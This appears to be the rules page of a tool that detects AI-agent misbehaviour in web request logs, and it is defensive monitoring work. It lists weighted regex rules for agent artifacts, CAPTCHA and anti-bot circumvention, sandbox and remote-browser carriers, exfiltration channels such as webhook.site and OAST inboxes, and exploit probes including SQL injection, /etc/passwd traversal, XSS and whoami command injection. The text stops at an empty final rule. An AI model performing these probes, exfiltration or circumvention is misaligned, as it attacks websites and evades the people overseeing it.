Rules

The indicator rules every analysis on this site and in the CLI runs, grouped by kind: rules version 2026-10-14.5. A record scoring 3 or more is suggestive, 6 or more significant. Each rule can test a URL in this page: it is decoded, never opened.

How a score adds up

Each rule counts once per record. Rules that read the same artifact share an independence group, which counts once, at the largest weight among its rules that fired; other rules add their weight. Context hits (relays, cache-busters, self-identification, headers, outcomes) together count at most 2, so context alone stays below suggestive: people use those services too (FM-4.11). A rule marked significant alone is enough for that tier by itself.

Rules marked links records join the records they match into one cluster, because only one operator would share that value. How each kind is read is in the methodology and the Field Manual (rule anatomy, tactics); how the rules score on the labelled set is on the evaluation page.

Filter rules

agent marker 26 rules

`marker.uq_tags`

+3model artifacturlquery cache-busting / tracking tags seen in agent fleets

urlquery cache-busting / tracking tags seen in agent fleets

Weight: +3
Matches: param name
Group: run_tag counts once per record (FM-4.11)
Manual: FM-4.5

^(uqscan|uqtag|uq_tag|uq)$

Test a URL

Labelled set: 109 agent hits, no benign hits · precision 100% (hits per rule)

`marker.test_tag`

+3links recordsmodel artifactTest tags agents add to URLs (with a run number)

Test tags agents add to URLs (with a run number)

Weight: +3
Matches: url
Group: run_tag counts once per record (FM-4.11)
Manual: FM-4.5

(^|[^a-z])(?P<m>(chatgpttest|agenttest)\d*)

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.probe_tag`

+3model artifactFixed agent probe tag (tok=expt, archive_test=)

Fixed agent probe tag (tok=expt, archive_test=)

Weight: +3
Matches: url
Group: run_tag counts once per record (FM-4.11)
Manual: FM-4.5

tok=expt|archive_test=

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.oai_tag`

+3model artifact`zz=oai<digits>` request tag (Transluce, US/Canada government report)

`zz=oai<digits>` request tag (Transluce, US/Canada government report)

Weight: +3
Matches: url
Group: run_tag counts once per record (FM-4.11)
Manual: FM-4.5

[?&]zz=oai\d{6,}

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`marker.callback_seq`

+3Sequenced callback labels (headers0, body0-0, part1of3)

Sequenced callback labels (headers0, body0-0, part1of3)

Weight: +3
Matches: param value
Tactic: T7 callback or side channels
Manual: FM-4.4

^(headers\d+|body\d+-\d+|chunk\d+|part\d+of\d+)$

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`marker.title_write`

+2Program writes its result into the page title

Program writes its result into the page title

Weight: +2
Matches: url
Group: program counts once per record (FM-4.11)
Tactic: T7 callback or side channels
Manual: FM-4.4

document\.title\s*=

Test a URL

Labelled set: 2 agent hits, 1 benign hit; too few to estimate precision (hits per rule)

`marker.md_link`

+2model artifactMarkdown link syntax `[text](https://...)` inside a request URL

Markdown link syntax `[text](https://...)` inside a request URL

Weight: +2
Matches: url
Group: markdown counts once per record (FM-4.11)
Manual: FM-4.5

\]\(https?://

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`marker.md_url_wrapper`

+1model artifactURL wrapped in Markdown code, emphasis or autolink markup

URL wrapped in Markdown code, emphasis or autolink markup

Weight: +1
Matches: url
Group: markdown counts once per record (FM-4.11)
Manual: FM-4.5

(^|[=/(])(`|\*\*|<)https?://|^https?://[^\s()<>`]*(`|\*\*|\))$

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`marker.placeholder`

+2model artifactUnfilled template placeholder (YOUR_API_KEY, <your-token>, INSERT_ID_HERE, REPLACE_ME)

Unfilled template placeholder (YOUR_API_KEY, <your-token>, INSERT_ID_HERE, REPLACE_ME)

Weight: +2
Matches: url
Manual: FM-4.5

(?-i:\bYOUR_[A-Z0-9_]*(KEY|TOKEN|SECRET|ID|USERNAME|PASSWORD|DOMAIN|URL)\b|\bINSERT_[A-Z0-9_]+_HERE\b|\bREPLACE_ME\b|<(TARGET|HOST|DOMAIN|URL|IP|ID|TOKEN|API_KEY|USERNAME|PASSWORD)>)|<your[-_ ][a-z0-9_ -]{2,30}>|\[your[-_ ][a-z0-9_ -]{2,30}\]

Test a URL

Labelled set: 14 agent hits, no benign hits · precision 100% (hits per rule)

`marker.template_unrendered`

+1model artifactUnrendered template variable ({{target}}, ${HOST})

Unrendered template variable ({{target}}, ${HOST})

Weight: +1
Matches: url
Manual: FM-4.5

\{\{\s*[a-z_][\w.]*\s*\}\}|\$\{\s*[a-z_][\w.]*\s*\}

Test a URL

Labelled set: 1 agent hit, 2 benign hits; too few to estimate precision (hits per rule)

`marker.example_host_value`

+1model artifactRedirect or callback parameter left pointing at example.com (template default or redirect probe)

Redirect or callback parameter left pointing at example.com (template default or redirect probe)

Weight: +1
Matches: url
Manual: FM-4.5

[?&](redirect(_ur[il])?|redirect_to|return(_?to|_?url)?|next|continue|callback(_?url)?|dest(ination)?|goto|target)=((https?:)?//)?([a-z0-9-]+\.)*example\.(com|org|net)([/:?#&]|$)

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`marker.tool_call_markup`

+4model artifactFunction-call wrapper markup or tool-call fields from a model's output

Function-call wrapper markup or tool-call fields from a model's output

Weight: +4
Matches: url
Group: tool_call counts once per record (FM-4.11)
Manual: FM-4.5

</?(tool_call|tool_use|function_calls|invoke|parameter)\b|<function=|<\|(im_start|im_end|tool_call|python_tag)\|>|"(tool_calls|function_call|tool_use)"\s*:

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.tool_call_json`

+3model artifactTool-call JSON arguments inside a request ({"url": ..., "arguments": ...)

Tool-call JSON arguments inside a request ({"url": ..., "arguments": ...)

Weight: +3
Matches: url
Group: tool_call counts once per record (FM-4.11)
Manual: FM-4.5

\{\s*"(url|uri|href|link|command|cmd|tool|tool_name|function)"\s*:|"arguments"\s*:|\\"(url|query|q|arguments|command)\\"\s*:

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.json_quote_residue`

+2model artifactJSON or string quoting left around a URL or a URL parameter

JSON or string quoting left around a URL or a URL parameter

Weight: +2
Matches: url
Group: tool_call counts once per record (FM-4.11)
Manual: FM-4.5

^https?://[^\s"]+"\s*[,}\]]+\s*$|[?&][\w.-]+=["']https?://

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.mcp_call`

+3model artifactMCP JSON-RPC tool request ({"jsonrpc": "2.0", "method": "tools/call"}) inside a request

MCP JSON-RPC tool request ({"jsonrpc": "2.0", "method": "tools/call"}) inside a request

Weight: +3
Matches: url
Group: tool_call counts once per record (FM-4.11)
Manual: FM-4.5

"jsonrpc"\s*:\s*"2\.0"[^#]{0,300}?"method"\s*:\s*"(tools/(call|list)|resources/read|prompts/get)"|"method"\s*:\s*"(tools/(call|list)|resources/read|prompts/get)"[^#]{0,300}?"jsonrpc"\s*:\s*"2\.0"

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`marker.mcp_tool_name`

+2model artifactMCP tool name in agent-host form (mcp__server__tool) inside a request

MCP tool name in agent-host form (mcp__server__tool) inside a request

Weight: +2
Matches: url
Group: tool_call counts once per record (FM-4.11)
Manual: FM-4.5

\bmcp__[a-z0-9_-]+?__[a-z0-9_-]+

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`marker.agent_discovery`

+1model artifactAgent-discovery path (A2A agent card, bare /mcp or /sse endpoint)

Agent-discovery path (A2A agent card, bare /mcp or /sse endpoint)

Weight: +1
Matches: url
Manual: FM-4.5

/\.well-known/agent(-card)?\.json\b|^https?://[^/?#]+/(mcp|sse)/?([?#]|$)

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.escaped_newline`

+1model artifactEscaped newline (\n) from a model's string output left in the URL

Escaped newline (\n) from a model's string output left in the URL

Weight: +1
Matches: url
Manual: FM-4.5

\\n(\\n|[^a-z0-9_]|$)

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`marker.truncated_output`

+1model artifactURL cut off mid escape or ending in an ellipsis (truncated model output)

URL cut off mid escape or ending in an ellipsis (truncated model output)

Weight: +1
Matches: url
Manual: FM-4.5

%[0-9a-f]$|\x{2026}$

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.chat_opener`

+2model artifactChat reply opener ("Sure, here is", "Certainly!", "As an AI") before a URL in a parameter

Chat reply opener ("Sure, here is", "Certainly!", "As an AI") before a URL in a parameter

Weight: +2
Matches: url
Manual: FM-4.5

(^|[/=])["'`]?(sure[,!.]?[\s+]+here|certainly[!,.]|of[\s+]+course[!,.]|i['\x{2019}]ll[\s+]|i[\s+]+will[\s+]|here(['\x{2019}]s|[\s+]+(is|are))[\s+]+the[\s+]|as[\s+]+an[\s+]+ai\b)[^&#]{0,200}?(https?://|:[\s+]*$|:[\s+]*[\[{<`"'])

Test a URL

Labelled set: 4 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.doubled_scheme`

+2model artifactDoubled scheme (https://https://) in a request a model built

Doubled scheme (https://https://) in a request a model built

Weight: +2
Matches: url
Manual: FM-4.5

https?:/+https?(:/*|//)

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.garbled_scheme`

+1model artifactGarbled or defanged scheme (https//, hxxps://) in a request URL

Garbled or defanged scheme (https//, hxxps://) in a request URL

Weight: +1
Matches: url
Manual: FM-4.5

[?&][\w.-]+=https?//[a-z0-9]|(^|/|[?&](url|uri|u|target|link|src|source|page|href)=)hxxps?(://|\[:\]//)

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.impossible_date`

+2model artifactImpossible calendar date (2026-02-30, 2026-13-01) in a date parameter

Impossible calendar date (2026-02-30, 2026-13-01) in a date parameter

Weight: +2
Matches: url
Manual: FM-4.5

[?&][\w.\[\]-]*(date|day|from|to|since|until|start|end|dt|after|before|when|time)[\w.\[\]-]*=(\d{4}-(02-3[01]|(04|06|09|11)-31|(1[3-9]|[2-9]\d)-\d{2}|\d{2}-(3[2-9]|[4-9]\d))|(02[/-]3[01]|3[01][/-]02|(0?4|0?6|0?9|11)[/-]31|31[/-](0?4|0?6|0?9|11)|\d{1,2}[/-](3[2-9]|[4-9]\d)|(3[2-9]|[4-9]\d)[/-]\d{1,2})[/-]\d{4})([T\s+&#]|$)

Test a URL

Labelled set: 3 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.placeholder_identity`

+1model artifactPlaceholder identity (john.doe@, user@example.com, test123, 123 Main St, 555-01xx)

Placeholder identity (john.doe@, user@example.com, test123, 123 Main St, 555-01xx)

Weight: +1
Matches: param value
Tactic: T5 account or identity acquisition
Manual: FM-4.5

^(john|jane)[._-]?doe@|^(user|test|foo|someone|name|email|me|you|your[._-]?name|username)@(example|test|domain|your-?domain|company|foo|bar|email)\.(com|org|net)$|(^|[@./])your-?(domain|website|site|company)\.(com|org|net)\b|^test123$|^123\s+main\s+st(reet)?\b|(^|[^\d])555[-.\s]?01\d\d($|[^\d])

Test a URL

Labelled set: 2 agent hits, 3 benign hits · precision 40% (hits per rule)

`marker.repeated_token`

+1model artifactA word or phrase repeated five or more times in a row (a model generation loop)

A word or phrase repeated five or more times in a row (a model generation loop)

Weight: +1
Matches: param value
Manual: FM-4.5

(\S+\s+){4}\S

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`marker.oai_prefix`

+3model artifactOAI_/CHATGPT_ run tag (OpenAI-UNCTAD, US/Canada government reports)

OAI_/CHATGPT_ run tag (OpenAI-UNCTAD, US/Canada government reports)

Weight: +3
Matches: url
Group: run_tag counts once per record (FM-4.11)
Manual: FM-4.5

(?-i:\bOAI_[A-Z][A-Z0-9_]+|\bCHATGPT_[0-9][0-9A-Z_]+)

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

anti bot 5 rules

`antibot.baxia`

+3Alibaba Baxia anti-bot tokens

Alibaba Baxia anti-bot tokens

Weight: +3
Matches: param name
Tactic: T3 access-control circumvention
Manual: FM-4.4

^(bx-ua|bx_et|bx-umidtoken|umidtoken|x5sec)$

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`antibot.captcha_solver`

+3CAPTCHA-solving service solve endpoint

CAPTCHA-solving service solve endpoint

Weight: +3
Matches: url
Tactic: T3 access-control circumvention
Manual: FM-4.4

2captcha\.com/(in|res)\.php|api\.(capsolver|anti-captcha)\.com/(createTask|getTaskResult)

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`antibot.ocr_captcha`

+3General-purpose OCR API pointed at a CAPTCHA image

General-purpose OCR API pointed at a CAPTCHA image

Weight: +3
Matches: url
Tactic: T3 access-control circumvention
Manual: FM-4.4

ocr\.space.*captcha|captcha.*ocr\.space

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`antibot.unblocker_params`

+1Scrape-API unblocking option (premium or stealth proxy, ultra_premium)

Scrape-API unblocking option (premium or stealth proxy, ultra_premium)

Weight: +1
Matches: url
Group: relay counts once per record (FM-4.11)
Tactic: T3 access-control circumvention
Manual: FM-4.4

(app\.scrapingbee\.com|api\.scraperapi\.com|api\.zenrows\.com)/[^#]*[?&](premium_proxy|stealth_proxy|premium|ultra_premium)=(true|1)\b

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`antibot.incapsula`

+3Imperva Incapsula anti-bot resource requested directly

Imperva Incapsula anti-bot resource requested directly

Weight: +3
Matches: url
Tactic: T3 access-control circumvention
Manual: FM-4.4

_Incapsula_Resource

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

cache buster 1 rule

`cache.buster`

+1Cache-busting parameter

Cache-busting parameter

Weight: +1
Matches: param name
Tactic: T1 task retrieval
Manual: FM-4.4

^(_|cb|cachebust|cache_bust|nocache|bust|_t|ts|rnd|rand|uniq\d*)$

Test a URL

Labelled set: 41 agent hits, 5 benign hits · precision 89% (hits per rule)

carrier 12 rules

`carrier.httpbin`

+2Request echo service, used to turn GETs into POSTs or inspect headers

Request echo service, used to turn GETs into POSTs or inspect headers

Weight: +2
Matches: url
Group: program counts once per record (FM-4.11)
Tactic: T2 tool escalation
Manual: FM-4.4

httpbin\.org|httpbun\.(com|org)

Test a URL

Labelled set: 10 agent hits, 8 benign hits · precision 56% (hits per rule)

`carrier.livecodes`

+2In-browser code playground used to run fetch programs

In-browser code playground used to run fetch programs

Weight: +2
Matches: host
Tactic: T2 tool escalation
Manual: FM-4.4

livecodes.io

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`carrier.codesandbox`

+1CodeSandbox

CodeSandbox

Weight: +1
Matches: url
Tactic: T2 tool escalation
Manual: FM-4.4

codesandbox\.io|csb\.app

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`carrier.browserless`

+2Browserless hosted headless-browser endpoint (remote browser)

Browserless hosted headless-browser endpoint (remote browser)

Weight: +2
Matches: url
Tactic: T2 tool escalation
Manual: FM-4.4

production-(sfo|lon|ams)\.browserless\.io|chrome\.browserless\.io

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`carrier.remote_browser_cdp`

+2Hosted-browser DevTools connect endpoint (Steel, Browser Use, Browserbase, Hyperbrowser, Lightpanda)

Hosted-browser DevTools connect endpoint (Steel, Browser Use, Browserbase, Hyperbrowser, Lightpanda)

Weight: +2
Matches: url
Tactic: T2 tool escalation
Manual: FM-4.4

(^|[^a-z0-9.-])(connect\.(steel\.dev|browser-use\.com|browserbase\.com|hyperbrowser\.ai)\b|([a-z0-9-]+\.)?cloud\.lightpanda\.io/ws\b)

Test a URL

Labelled set: 2 agent hits, 1 benign hit; too few to estimate precision (hits per rule)

`carrier.agent_sandbox`

+2links recordsCode-sandbox preview or function host (E2B, Daytona, Modal)

Code-sandbox preview or function host (E2B, Daytona, Modal)

Weight: +2
Matches: url
Tactic: T2 tool escalation
Manual: FM-4.4

(^|[^a-z0-9.-])(\d{2,5}-[a-z0-9]{12,40}\.e2b\.app|\d{2,5}-[a-z0-9-]{6,64}\.proxy\.daytona\.work|[a-z0-9-]+--[a-z0-9-]+\.modal\.run)\b

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`carrier.embed_playground`

+2Embed Web Playground used to run fetch/POST programs

Embed Web Playground used to run fetch/POST programs

Weight: +2
Matches: url
Group: program counts once per record (FM-4.11)
Tactic: T2 tool escalation
Manual: FM-4.4

milankarman\.github\.io/Embed-Web-Playground

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`carrier.microlink_function`

+3Microlink serverless-function call carrying a program (api.microlink.io/?function=)

Microlink serverless-function call carrying a program (api.microlink.io/?function=)

Weight: +3
Matches: url
Group: program counts once per record (FM-4.11)
Tactic: T2 tool escalation
Manual: FM-4.4

api\.microlink\.io/.*[?&]function=

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`carrier.data_url_script`

+3data: URL carrying an HTML program that makes requests

data: URL carrying an HTML program that makes requests

Weight: +3
Matches: url
Group: program counts once per record (FM-4.11)
Tactic: T2 tool escalation
Manual: FM-4.4

^data:text/html.*(<script|fetch\(|XMLHttpRequest)

Test a URL

Labelled set: 6 agent hits, no benign hits · precision 100% (hits per rule)

`carrier.inline_fetch_program`

+3Inline program fetching other URLs from inside a remote browser

Inline program fetching other URLs from inside a remote browser

Weight: +3
Matches: url
Group: program counts once per record (FM-4.11)
Tactic: T2 tool escalation
Manual: FM-4.4

fetch\(\s*['"`](https?:)?//|new XMLHttpRequest|navigator\.sendBeacon|new\s+Image\(\)\.src\s*=

Test a URL

Labelled set: 9 agent hits, no benign hits · precision 100% (hits per rule)

`carrier.form_post_program`

+3Self-submitting POST form delivered as a program

Self-submitting POST form delivered as a program

Weight: +3
Matches: url
Group: program counts once per record (FM-4.11)
Tactic: T2 tool escalation
Manual: FM-4.4

<form\b[^>]*\bmethod\s*=\s*['"]?post|forms\[\d+\]\.submit\(|\.submit\(\)

Test a URL

Labelled set: 5 agent hits, no benign hits · precision 100% (hits per rule)

`carrier.html_program`

+2HTML page with script carried inside the request

HTML page with script carried inside the request

Weight: +2
Matches: url
Group: program counts once per record (FM-4.11)
Tactic: T2 tool escalation
Manual: FM-4.4

<script\b

Test a URL

Labelled set: 15 agent hits, 4 benign hits · precision 79% (hits per rule)

exfil 11 rules

`exfil.webhook_site`

+3links recordswebhook.site inbox (callback / exfil channel)

webhook.site inbox (callback / exfil channel)

Weight: +3
Matches: url
Tactic: T7 callback or side channels
Manual: FM-4.4

webhook\.site/(token/)?[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}

Test a URL

Labelled set: 8 agent hits, no benign hits · precision 100% (hits per rule)

`exfil.requestbin`

+3links recordsRequest-catcher / OAST inbox (a per-user subdomain on the service)

Request-catcher / OAST inbox (a per-user subdomain on the service)

Weight: +3
Matches: url
Group: oast counts once per record (FM-4.11)
Tactic: T7 callback or side channels
Manual: FM-4.4

[a-z0-9]+\.(m\.pipedream\.net|requestcatcher\.com|requestbin\.net|beeceptor\.com|interact\.sh|oast\.(fun|me|pro|live|site|online))

Test a URL

Labelled set: 3 agent hits, no benign hits; too few to estimate precision (hits per rule)

`exfil.collaborator`

+3links recordsBurp Collaborator payload subdomain (per-session OAST inbox)

Burp Collaborator payload subdomain (per-session OAST inbox)

Weight: +3
Matches: url
Group: oast counts once per record (FM-4.11)
Tactic: T7 callback or side channels
Manual: FM-4.4

[a-z0-9]{20,}\.(oastify\.com|burpcollaborator\.net)

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exfil.dnslog`

+3links recordsDNS/HTTP logging service inbox (per-user OAST subdomain)

DNS/HTTP logging service inbox (per-user OAST subdomain)

Weight: +3
Matches: url
Group: oast counts once per record (FM-4.11)
Tactic: T7 callback or side channels
Manual: FM-4.4

[a-z0-9]*[0-9][a-z0-9]*\.(dnslog\.cn|ceye\.io|dnshook\.site|requestrepo\.com)

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exfil.oast_service`

+3OAST service named without an inbox subdomain

OAST service named without an inbox subdomain

Weight: +3
Matches: url
Group: oast counts once per record (FM-4.11)
Tactic: T7 callback or side channels
Manual: FM-4.4

(^|[^a-z0-9.-])(interact\.sh|oast\.(fun|me|pro|live|site|online)|oastify\.com|burpcollaborator\.net|dnslog\.cn|ceye\.io|dnshook\.site|requestrepo\.com)\b

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exfil.ntfy`

+3links recordsntfy topic used as a beacon channel (do not read or post to topics)

ntfy topic used as a beacon channel (do not read or post to topics)

Weight: +3
Matches: url
Tactic: T7 callback or side channels
Manual: FM-4.4

(^|[^a-z0-9.-])ntfy\.sh/[A-Za-z0-9_-]{4,}

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`exfil.tunnel`

+2links recordsPublic tunnel host (trycloudflare, ngrok, serveo, localhost.run, localtunnel)

Public tunnel host (trycloudflare, ngrok, serveo, localhost.run, localtunnel)

Weight: +2
Matches: url
Tactic: T7 callback or side channels
Manual: FM-4.4

(^|[^a-z0-9.-])[a-z0-9-]*[0-9-][a-z0-9-]*\.(trycloudflare\.com|ngrok-free\.(app|dev)|ngrok\.(io|app)|serveo\.net|lhr\.life|loca\.lt|localtunnel\.me)\b

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`exfil.paste`

+2Paste / file drop used as an output channel

Paste / file drop used as an output channel

Weight: +2
Matches: url
Tactic: T7 callback or side channels
Manual: FM-4.4

catbox\.moe|litterbox\.catbox|bytebin\.lucko\.me|paste\.rs|dpaste|transfer\.sh|0x0\.st|pastebin\.k4be\.pl

Test a URL

Labelled set: 2 agent hits, 1 benign hit; too few to estimate precision (hits per rule)

`exfil.cookie`

+3Cookie values sent onward

Cookie values sent onward

Weight: +3
Matches: url
Tactic: T6 credential reuse
Manual: FM-4.4

document\.cookie|[?&]ck=[^&]{20,}

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exfil.disposable_mail`

+2Disposable inbox (account/API key acquisition)

Disposable inbox (account/API key acquisition)

Weight: +2
Matches: url
Tactic: T5 account or identity acquisition
Manual: FM-4.4

mail\.tm|mail\.gw|guerrillamail|10minutemail|temp-mail|tempmail|mailinator|maildrop\.cc|1secmail

Test a URL

Labelled set: 2 agent hits, 1 benign hit; too few to estimate precision (hits per rule)

`exfil.httpbin_data`

+3significant aloneFetched data sent back inside an echo-service URL (httpbin get?d=...)

Fetched data sent back inside an echo-service URL (httpbin get?d=...)

Weight: +3
Matches: url
Tactic: T7 callback or side channels
Manual: FM-4.4

(httpbin\.org|httpbun\.(com|org))/(get|anything|status/\d{3}|base64/[^?#]*)[^#]*[?&](d|e|data|out|resp|result|pr)=[^&#]{40,}

Test a URL

Labelled set: 3 agent hits, no benign hits; too few to estimate precision (hits per rule)

exploit 16 rules

`exploit.sqli_union`

+5significant aloneSQL injection: UNION SELECT

SQL injection: UNION SELECT

Weight: +5
Matches: url
Group: sqli counts once per record (FM-4.11)
Tactic: T4 vulnerability probing
Manual: FM-4.4

\bunion(\s|\+|/\*.*?\*/)+(all(\s|\+|/\*.*?\*/)+)?select\b(\s|\+|/\*.*?\*/)*(null\b|-?\d|\*|@@|\(|['"`]|[a-z_][\w.]*(\(|(\s|\+)*,|(\s|\+)+from\b))

Test a URL

Labelled set: 5 agent hits, no benign hits · precision 100% (hits per rule)

`exploit.sqli_boolean`

+4significant aloneSQL injection: boolean / time-based probe

SQL injection: boolean / time-based probe

Weight: +4
Matches: param value
Group: sqli counts once per record (FM-4.11)
Tactic: T4 vulnerability probing
Manual: FM-4.4

'\s*(or|and)\s+'?\d+'?\s*=\s*'?\d|^\s*-?\d+\)?\s+(or|and)\s+\d+\s*=\s*\d+|'\s*--|\bsleep\(\d+\)|waitfor\s+delay|benchmark\(

Test a URL

Labelled set: 65 agent hits, no benign hits · precision 100% (hits per rule)

`exploit.traversal`

+5significant alonePath traversal / sensitive file probe

Path traversal / sensitive file probe

Weight: +5
Matches: url
Group: traversal counts once per record (FM-4.11)
Tactic: T4 vulnerability probing
Manual: FM-4.4

(\.\./|\.\.%2f|%2e%2e/){2,}|/etc/passwd|win\.ini|boot\.ini

Test a URL

Labelled set: 6 agent hits, no benign hits · precision 100% (hits per rule)

`exploit.traversal_single`

+4Single path-traversal step (often encoded as ..%2F)

Single path-traversal step (often encoded as ..%2F)

Weight: +4
Matches: url
Group: traversal counts once per record (FM-4.11)
Tactic: T4 vulnerability probing
Manual: FM-4.4

/\.\./

Test a URL

Labelled set: 7 agent hits, no benign hits · precision 100% (hits per rule)

`exploit.sqli_quote`

+3Lone quote in a parameter value (SQL injection probe)

Lone quote in a parameter value (SQL injection probe)

Weight: +3
Matches: param value
Group: sqli counts once per record (FM-4.11)
Tactic: T4 vulnerability probing
Manual: FM-4.4

^[^'"\s]{0,20}['"]\)?$

Test a URL

Labelled set: 21 agent hits, no benign hits · precision 100% (hits per rule)

`exploit.xss`

+4significant aloneCross-site scripting probe

Cross-site scripting probe

Weight: +4
Matches: param value
Tactic: T4 vulnerability probing
Manual: FM-4.4

<script|javascript:|onerror\s*=|onload\s*=|<svg[^>]*on\w+=

Test a URL

Labelled set: 17 agent hits, no benign hits · precision 100% (hits per rule)

`exploit.ssti`

+4significant aloneTemplate injection probe ({{7*7}})

Template injection probe ({{7*7}})

Weight: +4
Matches: param value
Tactic: T4 vulnerability probing
Manual: FM-4.4

\{\{\s*\d+\s*\*\s*\d+\s*\}\}|\$\{\s*\d+\s*\*\s*\d+\s*\}|<%=\s*\d+\s*\*

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exploit.cmdi`

+4significant aloneCommand injection probe

Command injection probe

Weight: +4
Matches: param value
Tactic: T4 vulnerability probing
Manual: FM-4.4

[;|`]\s*(id|whoami|uname|cat\s+/etc)\b|\$\((id|whoami)\)

Test a URL

Labelled set: 2 agent hits, no benign hits; too few to estimate precision (hits per rule)

`exploit.boundary_ids`

+1Out-of-range ID values (often precede injection probes)

Out-of-range ID values (often precede injection probes)

Weight: +1
Matches: param value
Tactic: T4 vulnerability probing
Manual: FM-4.4

^-\d+$|^9{6,}$|^0{4,}$|^(2147483648|4294967296|9223372036854775808)$

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`exploit.cmd_param`

+4significant aloneCommand-execution parameter carrying a shell command (?cmd=wget, ?exec=whoami)

Command-execution parameter carrying a shell command (?cmd=wget, ?exec=whoami)

Weight: +4
Matches: url
Tactic: T4 vulnerability probing
Manual: FM-4.4

[?&](cmd|exec|command|execute)=(wget|curl|whoami|uname|id(&|$)|cat[\s+]/|ls[\s+]-)

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exploit.open_redirect_probe`

+3Redirect/callback parameter pointed at an attacker domain (open redirect probe)

Redirect/callback parameter pointed at an attacker domain (open redirect probe)

Weight: +3
Matches: url
Tactic: T4 vulnerability probing
Manual: FM-4.4

[?&](redirect(_ur[il])?|redirect_to|return(_?to|_?url)?|next|continue|callback(_?url)?|dest(ination)?|goto|target|url|u)=((https?:)?//)?(evil|attacker|malicious|evil-?corp|badguy)\.(com|net|org|example)([/:?#&]|$)

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exploit.null_byte`

+3Null-byte injection (%00) in a request URL

Null-byte injection (%00) in a request URL

Weight: +3
Matches: url
Group: traversal counts once per record (FM-4.11)
Tactic: T4 vulnerability probing
Manual: FM-4.4

\x00|%00

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exploit.userinfo_confusion`

+3Userinfo host confusion (IP before @, host name after) in a request URL

Userinfo host confusion (IP before @, host name after) in a request URL

Weight: +3
Matches: url
Tactic: T4 vulnerability probing
Manual: FM-4.4

^https?://(\d{1,3}\.){3}\d{1,3}@[a-z]

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exploit.php_eval`

+3PHP eval(base64_decode(...)) code-execution payload in a request URL

PHP eval(base64_decode(...)) code-execution payload in a request URL

Weight: +3
Matches: url
Tactic: T4 vulnerability probing
Manual: FM-4.4

eval\(\s*base64_decode\(

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`exploit.double_encoded_path`

+4significant aloneDouble-encoded path segment (F%2561cts -> F%61cts), an input-filter evasion

Double-encoded path segment (F%2561cts -> F%61cts), an input-filter evasion

Weight: +4
Matches: url
Tactic: T4 vulnerability probing
Manual: FM-4.4

/[a-z0-9_.~-]*%(2[5-9a-f]|[3-6][0-9a-f]|7[0-9a])

Test a URL

Labelled set: 3 agent hits, no benign hits; too few to estimate precision (hits per rule)

`exploit.double_encoded_meta`

+4significant aloneDouble-encoded injection metacharacter in a parameter value (%253C -> %3C)

Double-encoded injection metacharacter in a parameter value (%253C -> %3C)

Weight: +4
Matches: param value
Tactic: T4 vulnerability probing
Manual: FM-4.4

%(3[ce]|27|22)

Test a URL

Labelled set: 5 agent hits, no benign hits · precision 100% (hits per rule)

header 12 rules

`header.via_hysandbox`

